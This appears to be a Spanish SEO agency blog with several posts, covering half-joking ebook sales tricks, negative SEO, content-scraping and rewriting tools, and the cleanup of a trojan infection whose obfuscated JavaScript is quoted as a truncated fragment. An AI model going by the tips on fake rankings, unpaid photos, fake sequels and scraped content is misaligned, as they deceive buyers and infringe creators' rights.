10 Recursos Baratos para vender eBooks (Por Aquiles K. Gómez)

Hace bastante que no publico acá porque estuve trabajando en un ebook, recientemente lanzado. Se llama «Naked Business Proposals«, y lo hice en inglés porque en el mundo angloparlante hay más cultura de inversión de riesgo, además de más recursos. En realidad, hace años había escrito «Cibernegocios», con orientación parecida, pero éste estaba tan desactualizado que cuando quise traducirlo tuve que re-escribirlo por completo.
Esta publicación para Meneame habla del recurso de una modelo para ilustrar los capí­tulos del libro, un recurso cuestionable pero seguramente efectivo.
10 Recursos Baratos para vender eBooks. (Por Aquiles K. Gómez)
1) Cómprese Ud. mismo. Muchas librerí­as tienen un ranking con los libros más vendidos, y estar entre los Top Ten o Bestsellers aunque sea por un rato es un buen empujón para las ventas. Esta estrategia funcionó para libros en papel y generó mucho revuelo.
2) Incluya fotos de agencia sin pagar. Cuando le reclamen, proteste y luego pague. La publicidad puede valer más que los 200 o 300 dólares pagados.
3) Denuncie que le quieren impedir hablar o publicar. Si es posible, hágale juicio a alguien.
4) Anuncie un concurso que requiera leer el libro. Ofrezca un premio accesible pero llamativo.
5) Anuncie la secuela del libro, con un tí­tulo llamativo. No necesita realmente escribirlo luego.
6) Idem anterior. Ofrezca figurar en la tapa de un próximo libro a quien resuelva algún acertijo.
7) Aproveche nombres conocidos para su publicidad: ‘El libro que Harry Potter hubiera querido leer`. Nadie podrá desmentirlo. Adopte un seudónimo llamativo: un autor llamado ‘Aquiles K. Gómez’ venderá más que Nicasio Arietaleabeaskoa
8) Sea noticia de alguna manera no ilegal: ‘Autor sacrifica aves en rito satánico para invocar a los personajes de su futura obra’
9) Robe a los muertos. El plagio se extingue a los 50 años de muerto el autor. ‘La Verdadera Historia de los Tres Mosqueteros y su sangriento triángulo amoroso’.
10) El sexo vende. Incluya fotos de mujeres desnudas en su libro. Si tiene ganas, invente alguna excusa. Si nó, no hace falta.
(Aquiles es seudónimo del autor de este blog y de Naked Business Proposals, donde las propuestas de negocios sin preámbulos ni envoltorios están ilustradas por fotos de modelos desnudas)

Posicionamiento Negativo

Existe una disciplina dentro del SEO llamada «Posicionamiento Negativo», que consiste en des-posicionar una página web. Usualmente se relaciona con el «Manejo de Reputación en lí­nea», o «Online Reputation Management».
Supongamos que alguien escribe un comentario negativo sobre una persona, sitio o empresa. Por esas cosas del posicionamiento, el comentario negativo puede posicionarse primero que los positivos.
Recuerdo que en una época visité una «agencia de recortes», donde los empleados armados con tijeritas, examinaban pilas de diarios y revistas. Luego armaban carpetas destinadas a los clientes que querían enterarse de cómo se hablaba de ellos en los medios, para luego enviar a sus agentes de relaciones públicas, o a sus abogados. El equivalente actual de ello sería buscar en Google el nombre de uno, o de su empresa, y tratar de actuar en contra de los que publican páginas negativas.
Las Agencias de SEO, como nosotros, solemos tener encargos de ese tipo. No nos ocupamos de la parte judicial, pero sí de las relaciones con los webmasters que pueden (o no) retirar las páginas ofensivas. No olvidemos que mucho en Internet se publica en forma anónima, o a nombre de un menor o de alguien que reside en las antí­podas.
Recientemente la Wikipedia de Alemania estuvo cerrada por completo porque a un político no le gustó su biografía publicada en ella.

Wikipedia.de fuera de servicio

También Google Argentina tuvo juicios de unas modelitos de cuya reputa-
ción alguien había dudado en forma pública:
Isabel hace juciio a Google por dudar de su reputacion Priscilla hace juciio a Google por dudar de su reputacion
Estos jucios son llevados a cabo por estudios especializados en calumnias e injurias, y los imputados defendidos por otros especializados en derecho informático y libertad de expresión, y no son sencillos, debido a que lo publicado en la web tiene muchos aspectos técnicos. Los responsables pueden ser varios, en una cadena que va desde un usuario anónimo, un supervisor, un webmaster, un proveedor de hosting, un proveedor de conectividad, etc.
Para dejar clara nuestra posición al respecto, acá va la cinta azul por la libertad de expresión en internet, de la Electronic Frontier Foundation:

freedom of expression

Desde el punto de vista de SEO, nosotros realizamos los aspectos no-judiciales del posicionamiento negativo, que implican contactar a los responsables de la publicación negativa y tratar de que la modifiquen o eliminen. Si eso no da resultado, generamos varias páginas con la palabra clave cuestionada, y tratamos de posicionarlas por encima de las páginas negativas.
Las campañas de Reputation Management, en español o inglés, arrancan en los 500 dólares.

Contenido automático para los blogs

Todos los que tenemos un blog, como éste, tenemos la obligación periódica de agregar contenido. Esto atrae visitantes regulares, y produce de a poco el efecto deseado de convencerlos de la calidad del producto que vendemos. En este caso, servicios SEO o sea, posicionamiento orgánico en los buscadores.
Además, gracias a un mecanismo de ping automático en los buenos blogs, cada publicación alerta a los sistemas agregadores de feeds y artículos, lo cual atrae visitantes y mejora la presencia del blog en los buscadores. Algunos expertos usan sistemas adicionales de ping, como Multipinger y otros, para maximizar el efecto.
Escribir buen contenido es fundamental, pero también es útil escribir contenido en general. La calidad puede ayudarse con cantidad. Para eso, tengo noticia de un sistema exitoso llamado WP-o-matic, que recolecta feeds de RSS y los transforma en posts.
Nuestra empresa tiene desde hace bastante un producto llamado Delinker, que recoge los RSS y los transforma en páginas web «delinkidas» (con los enlaces editados de diferentes maneras). Recién ahora, con el gran éxito de WordPress y sus plugins, que nos surge el proyecto de crear Delinker como plugin para WordPress. Ese producto será lanzado en pocos dí­as, y a quienes deseen adquirirlo tempranamente puedo ofrecérselos con un importante descuento.
El Delinker está, desde hace pocos dí­as, disponible como agregado en nuestro producto Synonymizer. De ese modo, los textos tomados de los Feeds RSS pueden ser delinkidos y sinonimizados, con un solo producto.
Trataré de no defraudar a los lectores de este blog con contenido generado automáticamente. Pero es posible que contribuyamos al contenido de baja calidad en otros blogs…

La Ley de Murphy del SEO – Posicionamiento en Buscadores

La ley de Murphy se aplica a todos los campos de la actividad humana, con un sesgo particular en cada una.
Por ejemplo, si yo digo «Todo lo que puede salir mal, saldrá mal» en el trato con un cliente SEO, seguramente deseará keywords que no puede alcanzar, y alcarnzará keywords que no puede posicionar. También se aplica a los resultados: aquellos sitios que necesitamos urgentemente posicionar, porque esán vinculados a una fuerte recompensa, no lograrán más que un mísero puesto 40, justo por debajo de la visibilidad en Google, y un poco por debajo del límite establecido para cobrar recompensa especial o pago por resultados.
Por otra parte, ocurre que clientes pobres, que no pudieron comprometer más que monedas en la campaña, obtienen resultados excelentes. Lo único que puedo hacer es mostrarlos para darme importancia, porque el tráfico obtenido no se convierte en ventas ni en popularidad ni en nada.
Porqué ocurre esto? Vaya uno a saber que aspecto intrincado del algoritmo de posicionamiento de Google está involucrado. O que aspecto de qué campaña hecha por nosotros o nuestros antecesores en la campaña de promoción de sitios, dió muy buen resultado.
Lo peor que me ha ocurrido es posicionar excelentemente bien un sitio, en este caso de piletas de natación, y que el cliente cierre la empresa, regalándome el tráfico. Qué hago yo, explíqueme alguien, con clientes que piden una pileta de natación de tanto por tanto, a ubicarse en un lugar tan bonito, que vale la pena que yo vaya a visitarlo… En otro artículo explicaré las dificultades de trabajar de intermediario, o de afiliado, en productos materiales, cuya compra no involucra la trasferencia de un cookie….
Me ocupé de que mi teléfono no figure en ninguna parte del sitio de las piletas, y aún así, los ansiosos compradores me buscan en el NIC o en la guía telefónica, y me llaman con preguntas sobre la conveniencia de la fibra de vidro reforzada o el clásico hormigón, o sobre mi criterio para la elección de trampolines.
Esto ha venido sucediendo por años, y aún no establecí un buen acuerdo para derivar el tráfico a un vendedor del rubro. Creo que esos años son un poco la clave del resultado, ya que google valora los sitios antiguos.
La otra forma de fracasar posicionando sitios es obtener tráfico que no convierte. Al respecto, las madres hispanasa que cuidan a sus hijos son muy poco propensas a usar tarjeta de crédito. Cuan poco propensas, lo comprobé con uno de mis sitios (cuentos infantiles) posicionado excelentemente bien en Google por efecto de la Ley de Murphy.
Crackear la Ley de Murphy debe ser más difícil aún que crackear el algoritmo de posicionamiento de Google. Seguramente lograré hacer lo primero, porque no habrá manera de transformarlo en dinero…. A lo sumo conseguiré que cuando se me caiga un pan con manteca sobre la alfombra, la manteca se mantenga hacia arriba. Que no es poca cosa tampoco…

Participando en el negocio del cliente

Participación en las ventas – Alternativa para financiar SEO.
En muchas ocasiones los posibles clientes ofrecen una parte de las ganancias, como recompensa por el posicionamiento en buscadores. Esta oferta puede ser un buen negocio para quien realiza la tarea, aunque también acarrea incertidumbres y posibles decepciones.
En el terreno de los productos tangibles una oferta de este tipo sería sorprendente y poco creíble. Pero en el mundo virtual hay mucha diferencia entre los malos y buenos vendedores, por lo cual es más posible ganar dinero con sólo los conocimientos y herramientas de SEO.
El ofertante seguramente ya hizo todos los intentos a su alcance para posicionar, sin éxito. Lo más factible es que haya pasado del entusiasmo por ganar mucho dinero con su flamante sitio, al balde de agua fría que significa esperar inútilmente las visitas. Obviamente, quienes hacemos promoción de sitios sabemos que las visitas no vienen solas, porque para casi cualquier producto o servicio existen ya millares de alternativas en la web. Y es necesario desplazar al 99% de esas alternativas de su lugar en el buscador, para ganar una porción medible de la atención del público.
Es una sana medida solicitar una parte de la retribución (50%) al contado, y luego de un tiempo prudencial (60 dí­as), recibir el resto, en caso de éxito.
Una vez que el cliente aceptó realizar un pago mínimo, se puede empezar a evaluar la oferta. Desde ya que es mejor vincularse con un cliente importante, con una facturación elevada offline y quizá online, y no con un pequeño emprendedor con altas chances de fracaso. La calidad y el potencial del producto son también un factor a evaluar.
Es preciso que consultemos en detalle cuales fueron las medidas de SEOtomadas, y si estuvieron a cargo de un aficionado o de un profesional. No sería la primera vez que nos encontremos con un sitio penalizado por los buscadores, en el cual será inútil volcar esfuerzo de optimización o contrucción de enlaces. Para descartar esta penalización, corremos un pequeño ensayo de posicionamiento inespecífico en varios sitios a la vez.
Es útil también conocer los resultados de las eventuales campañas de enlaces patrocinados (PPC), para conocer cuán vendible es el producto.
Por último, nos fijamos en la complejidad de la tarea. El calculador de costo de campañas SEO en este sitio es para ello una buena herramienta. Una tarea sencilla con un alto potencial es más atractiva que una extensa y compleja tarea sobre un sitio con muchos productos para vender.
Si el beneficio potencial es muy superior al perjuicio que nos representa apartarnos de nuestro tema principal y capacitarnos en el producto del cliente, adelante con el convenio. Desde ya, deberán estar muy bien delimitadas las formas de medir la parte de cada uno, los tiempos y modos de pago, y los alcances geográficos, temporales y mediáticos del proyecto. En particular, que el cliente establezca claramente qué clientes no están incluídos en el reparto. Si el primo lo encuentra por Internet y le compra, que no nos diga luego: Cómo le voy a cobrar a mi primo? O a mi cliente de toda la vida. O al cliente que viene con mi tarjeta de visita o mi panfleto en la mano.
Luego de aclararlo todo bien, redactar un convenio y firmarlo. Recién allí estaremos en condiciones de correr con el riesgo de realizar estas campañas supeditadas al éxito comercial y la honradez del cliente.
Examinando en los sitios de e-commerce encontré que la mayoría de los promotores de sitios web trabajan en base a campañas definidas, sin tener en cuenta el éxito de las mismas. Medir el éxito es muy difícil, y por eso casi nadie quiere arriesgarse a entrar en una situación potencialmente conflictiva.

Estamos relanzando el Delinker, esta vez como software desktop

Delinker es un script PHP hecho por nuestro grupo, que incorpora contenido de páginas de terceros al sitio web donde corre.
Con ese contenido se realiza el «delinquido», o «deslinkeo». El Delinkeo consiste en cambiar los links, para evitar que los visitantes se vayan de nuestro sitio.
También se le puede agregar la función rel=Nofollow (para que el spider de Google no se vaya de nuestro sitio) o convertir los links HTML en Javascript (lo cual evita también la pérdida de PageRank). Ya que estamos editando contenido, se pueden reemplazar las imágenes originales por propias.
Por último está el Descripter, que toma el código HTML y lo despoja de Javascripts, que seguramente no contribuyen, no funcionan, o incluyen publicidad del sitio original.
El Delinker puede usarse para «robar» contenidos, aunque aconsejamos usarlo solamente en materiales no protegidos por el derecho de autor.
Continúa la línea de productos de generación de contenido masivo, para la optimización de sitios web con miras a su posicionamiento en buscadores.
La única función que el nuevo Delinker no posee (al menos por ahora) es el «delinquido» de RSS, que sólo funciona en la versión Online.
El nuevo Delinker es parte de nuestro producto Synonymizer – www.synonymizer.com.ar
Consulte http://www.Delinker.com.ar (en inglés).

Programadores para SEO esperando encargos

Como resultado de un pedido de un cliente que querí­a mejorar nuestra herramienta Synonymizer, hemos contratado una segunda programadora, que está terminando ya el encargo inicial. El producto saldrá próximamente en su nueva versión, con más prestaciones y mejor interfase de usuario.
Pero previendo ya la terminación del encargo, ofrezco a los clientes la disponibilidad de nuestro equipo para la confección o mejora de otras herramientas SEO.
En nuestro sitio www.foundFirst.com mencionamos algunas de ellas: Great Gateway Generator, Synonymizer, Algo Cracker, Octopus Link Quadrangulator, Delinker, Easy Expert System (eRecommender), SEO-friendly FAQ, KeywordThief (now Metatag Thief) and Site Metatag Analyzer.
Las dos primeras han estado en producción y venta por cierto tiempo, y las demás están en etapa de desarrollo.
Todos estos productos están destinados a los optimizadores y desarrolladores de sitios web, sobre todo anglo-parlantes. Sin embargo, con muy poco esfuerzo podemos lanzar la versión en español.
Manejamos la tecnología VBasic, MySQL, PHP, Javascript, y seguramente otras similares, por ahora sólo consultadas en el curriculum de los programadores.
Esperamos propuestas…

Porqué recibimos spam de las empresas de Posicionamiento en Buscadores?

En numerosas ocasiones he recibido e-mail no solicitados (spam) enviados por empresas de posicionamiento en buscadores.
Más allá de que cualquier spam es molesto, abusivo y seguramente ilegal, creo que cuando lo enví­an los supuestos expertos en posicionamiento en buscadores, la desconfianza que generan respecto de sus servicios es mucho mayor.
En alguna ocasión me tomé la molestia de googlearlos para saber si existí­an, y luego de los primeros 200 puestos no encontré nada. Es eventualmente posible que tengan dos nombres uno para enviar spam y otro para figurar en Google, pero en el caso de una empresa que conozco no es así­.
Es cierto que con el mismo criterio, estas empresas (incluso la mía) no deberí­an usar Adwords. Y lo usamos, porque sabemos que conviene y aumenta las visitas. Es posible que ya se haya desarrollado una variedad de usuario, corporativo, pudiente, experto, que busca y sólo clikea los avisos. Más allá de un pequeño porcentaje de fraudulentos o vandálicos, los que clikean avisos saben que la página va a estar activa, que es relevante, y que no lo atenderá un adolescente incapaz de firmar un contrato.
No he visto aún empresas de SEO (posicionamiento) que avisen en los periódicos de papel, esa reliquia que aún existe en los kioscos callejeros, además de en su propia página web. Claro que yo hace mucho que no leo un diario en papel, por lo cual no lo hubiera notado de todos modos. Seguramente pronto compraré unos diarios en papel para verificar este concepto, y eventualmente aprovechar una oportunidad de publicitar ante un público más tradicionalista pero que seguramente necesitará también el servicio.
Pero volviendo a la paradoja inicial, pareciera que el spam por email no es el camino a seguir. Aunque cuando lo vea al spammer, le voy a preguntar cual es su tasa de conversión. Sólo para tener una idea. Quizá me lleve una sorpresa.
Ahora, un poco de autobombo necesario para todo posicionador de sitios que se precie de tal.
Esta semana verifiqué que este sitio ya está en el puesto 50 de Google bajo Posicionamiento en Buscadores, de entre 1.750.000 sitios. Costó su tiempo, pero valió la pena. Si bien www.PromotordeSitios.com.ar tiene excelentes posiciones en términos relacionados, (1ro. entre 3.480.000 bajo Promoción de Sitios), el término por excelencia es Posicionamiento en Buscadores, o quizá SEO posicionamiento, en el que también hemos trepado al puesto 45.
Por encima de algunas empresas con bastante presupuesto, y por encima de los spammers. Por suerte…

Lo que un promotor de sitios puede aprender de una infección con troyano

Ayer noté que mis visitas diarias en uno de mis sitios se habí­an quintuplicado de golpe. Luego de la satisfacción inicial por el reconocimiento a la calidad de mis artí­culos, algo llamó mi atención: Los temas pedidos no tení­an nada que ver con mi temática, promoción de sitios. Pedí­an recetas de comidas y tragos, porno, etc. Y cuando uno visitaba las páginas, que no habí­an sido publicadas por mí­, un malware trataba de vender por la fuerza un producto anti-spamware.
Alarmado, empecé a recorrer mis sitios con FTP, y noté una cantidad de archivos que no había­n sido publicados por mí­, y que correspondí­an a fechas de entre el 7 y el 15 de este mes. Rápidamente hice un chequeo antivirus online con Bitdefender o alguno similar, limpié mi máquina y repuse los archivos originales en los dominios. La infección seguramente subió archivos a través de mi PC, porque abarcaba varios servidores distintos, de sitios que eran accesibles por mi FTP.
La limpieza no fue fácil. Salvo la fecha, no habí­a nada para guiarme. Muchos archivos mís habí­an recibido una inyección de código al final, en Javascript, con links, y no eran detectables desde el explorador. Por lo tanto, los archivos con fecha sospechosa fueron sobreescritos. Otros archivos eran nuevos, pero tení­an nombres similares a los ya existentes, y los contenidos mezclaban contenido original mí­o con otro proveniente de recetas de comida francesa, en inglés… Y muchos links hacia el malware que te extorsiona a que lo compres. Ojo! No entrar sin tomar precauciones, tiene un javascript malicioso: está basado en adware-spyware-removal.co.cc. No aconsejo a nadie comprar un producto anti-virus hecho por fabricantes de virus. Es ceder ante la extorsión y puede tener un virus aún peor.
Antes de limpiar, me bajé una carpeta con archivos infectados para analizarlos. Los abrí­ primero con Notepad para limpiar el Javascript, o desde el cache de Google con la opción Sólo Texto. También le agregué rel=»nofollow» a la infinidad de links que tiene para evitar perder PageRank. Conservo ejemplos de página con contenido adulterado, y otro ejemplo de página generada propiamente por el virus, usando material que encontró en el sitio y en otros anteriores que infectó.
El javascript que saqué está ofuscado (enrevesado para que no se entienda) y luce algo así­ como:
<script language=»javascript»>function not(kf,cybf){if(!cybf){cybf=’+=ETxNe0C.UW6{ki8HJmt9R1IML(aQG*hn-scyY&PBZASv3f)l4KOXV?wuDpqF7;’;}var y;var OR=»;for(var azho=0;azho<kf.length;azho+=4){y=(cybf.indexOf(kf.charAt(azho))&63)<<18|(cybf.indexOf(kf.charAt(azho+1))&63)<<12|(cybf.indexOf(kf.charAt(a …
… </script>
Las páginas enlazan a otras infectadas por el mismo agente, lo cual genera una gran red de páginas interconectadas que llevan mayormente el tráfico al sitio de venta de malware.
Pero lo interesante fue analizar los logs de mi servidor, y observar que el tráfico vení­a en parte de otras páginas infectadas, y en parte de los mismos buscadores. Los referrers eran Google y Live Search, las frases clave stuffed hot cherry peppers, o Recipe/Elderflower Punch, y mis páginas infectadas estaban en los primeros puestos.
Supongo que esos posicionamientos puedo mantenerlos, si subo una página limpia que reemplace a la anterior, y explico cual fue el problema. Pero no me interesan los buscadores de recetas exóticas, por lo tanto esperaré que los buscadores se cansen de encontrar error 404 y me den de baja.
Lo que si es interesante es la estructura de las páginas usadas para captar visitas a través de buscadores: mucho texto, generado por algún Content Generator (similar a Synonymizer), y estructurado en páginas con muchas palabras clave, enlaces intercalados con texto relevante, mucho H1, y nada de diseño ni imágenes. Cantidad (miles de páginas en un sólo directorio, decenas de nuevos directorios en cada sitio infectado) y no calidad (texto derivado de mezclar palabras y frases). Obviamente que son páginas que el ojo humano no ve, porque el Javascript las redirecciona, pero sí el spider de los buscadores.
Dado que una de mis herramientas para posicionar sitios es un Page Generator que hace cosas parecidas, aunque sin invadir ni robar espacio de servidor ajeno, tomé debida nota de la estructura de dichas páginas.

Resultados de 3er experimento de posicionamiento

Habiendo completado el experimento de posicionamiento de la «Familia Raimundez» se pudieron ver resultados en sólo 10 dí­as, lo cual los hace bastante interesantes y prácticos respecto a las épocas en que habí­a que esperar 45 dí­as para un ciclo de indexación.
Los resultados coincidieron con los anteriores, en el sentido de que algunos dominios parecen arbitrariamente penalizados. Digo arbitrariamente porque no hay nada obvio en el sitio que lo haga penalizable: ninguna técnica de sombrero negro, ningún link hacia sitio cuestionable, ningún abuso de keywords o repetición obvia de contenido.
Uno de los dominios probados fue el de un cliente, que dio malos resultados de ranking tanto en keywords especí­ficas a su tema como en otras‚ no relacionadas. La historia del dominio antes de intervenir nosotros tení­a elementos de abuso (repetición de keywords en los metatags), tal como detectamos en http://Archive.org . Por lo tanto, es difícil tener buenos resultados a menos que el dominio se cambie del todo, se pidan excusas a Google, y se esperen unos meses.
Un hecho interesante fue que uno de los dominios bien posicionados en el experimento habí­a recibido dos páginas relevantes, en lugar de sólo una. Esto refuerza la teorí­a del «tema», es decir, que si un sitio tiene un tema predominante, puede rankear mejor que un sitio que tiene páginas todas distintas.
Otra conclusión es que los sitios que van a rankear mejor aparecen uno o dos dí­as antes en los resultados. Lo cual permite un doble chequeo de resultados.
También observamos que la indexación de palabras individuales es una primera etapa superficial de la indexación. Para que se indexen secuencias de palabras (que luego se buscarán con comillas) es necesario más calidad de sitio y más tiempo.
Un resultado preliminar inquietante es el que adjudica mejor poder de posicionamiento a un dominio que es blanco de una campaña de Adwords. Google siempre declaró que no permite que los resultados de las campañas pagas afecten a los resultados orgánicos. Pero también es cierto que muchos webmasters desconfí­an de que así­ sea. Deberí­amos hacer un experimento exclusivamente dedicado a discriminar este factor, y a establecer cuánto hay que gastar en Adwords, y cómo, para un mejor posicionamiento orgánico. Por ahora, puede ser casualidad.
Un análisis más fino de estos resultados está disponible para nuestros clientes de posicionamiento y para aquellos que deseen realizar esta prueba en sus dominios.